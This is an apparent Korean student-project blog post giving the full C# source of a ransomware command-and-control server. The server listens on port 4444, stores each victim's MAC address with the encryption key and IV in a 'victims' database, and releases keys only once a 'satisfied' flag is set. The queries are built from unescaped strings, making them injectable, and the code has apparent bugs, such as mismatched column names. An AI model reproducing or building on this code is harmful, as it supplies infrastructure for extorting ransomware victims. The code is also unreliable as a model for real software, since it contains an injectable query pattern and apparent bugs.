[국원고 프로젝트] Server

Benedictus Park·2022년 12월 15일
0
using System;
using System.IO;
using System.Timers;
using System.Net;
using System.Net.Sockets;

using Utils;
using MySql.Data.MySqlClient;

namespace gukwon_ransomware_server
{
    class Program
    {
        static void Main()
        {
            int mode, len;
            string macaddr, cmdString;
            string strconn = "Server=localhost;Database=gukwon_ransomware;Uid=root;Pwd=test;";
            byte[] key, iv;
            BinaryReader rdr;
            BinaryWriter wtr;
            TcpListener listener = new TcpListener(IPAddress.Any, 4444);
            TcpClient client;
            NetworkStream stream;
            MySqlConnection conn;
            MySqlCommand cmd;
            MySqlDataReader sqlrdr;
            
            listener.Start();

            while (true)
            {
                client = listener.AcceptTcpClient();
                conn = new MySqlConnection(strconn);
                conn.Open();
                stream = client.GetStream();
                rdr = new BinaryReader(stream);

                mode = rdr.ReadInt32();
                macaddr = rdr.ReadString();

                if(mode == CONSTANTS.SEND_KEY)
                {
                    len = rdr.ReadInt32();
                    key = rdr.ReadBytes(len);
                    len = rdr.ReadInt32();
                    iv = rdr.ReadBytes(len);
                    
                    rdr.Close();

                    cmdString = string.Format("INSERT INTO victims(mac_addr, keystring, ivstring) VALUES(\"{0}\", \"{1}\", \"{2}\");", macaddr, Convert.ToBase64String(key), Convert.ToBase64String(iv));
                    cmd = new MySqlCommand(cmdString, conn);
                    cmd.ExecuteNonQuery();
                }
                else if(mode == CONSTANTS.DECRYPT_REQ)
                {
                    macaddr = rdr.ReadString();
                    rdr.Close();

                    cmdString = string.Format("SELECT key, iv FROM victims WHERE mac_addr = \"{0}\" AND satisfied = 1", macaddr);
                    cmd = new MySqlCommand(cmdString, conn);
                    sqlrdr = cmd.ExecuteReader();
                    wtr = new BinaryWriter(stream);
                    sqlrdr.Read();

                    if (sqlrdr.HasRows)
                    {
                        wtr.Write(CONSTANTS.SUCCESS);
                        wtr.Write(sqlrdr["keystring"].ToString());
                        wtr.Write(sqlrdr["ivstring"].ToString());
                        sqlrdr.Close();
                    }
                    else
                    {
                        wtr.Write(CONSTANTS.FAIL);
                        wtr.Close();
                    }
                }

                stream.Close();
                client.Close();                
            }
        }
    }
}
  • 간단하게 MySql.Data와 TcpListener를 이용해 만들었다.

0개의 댓글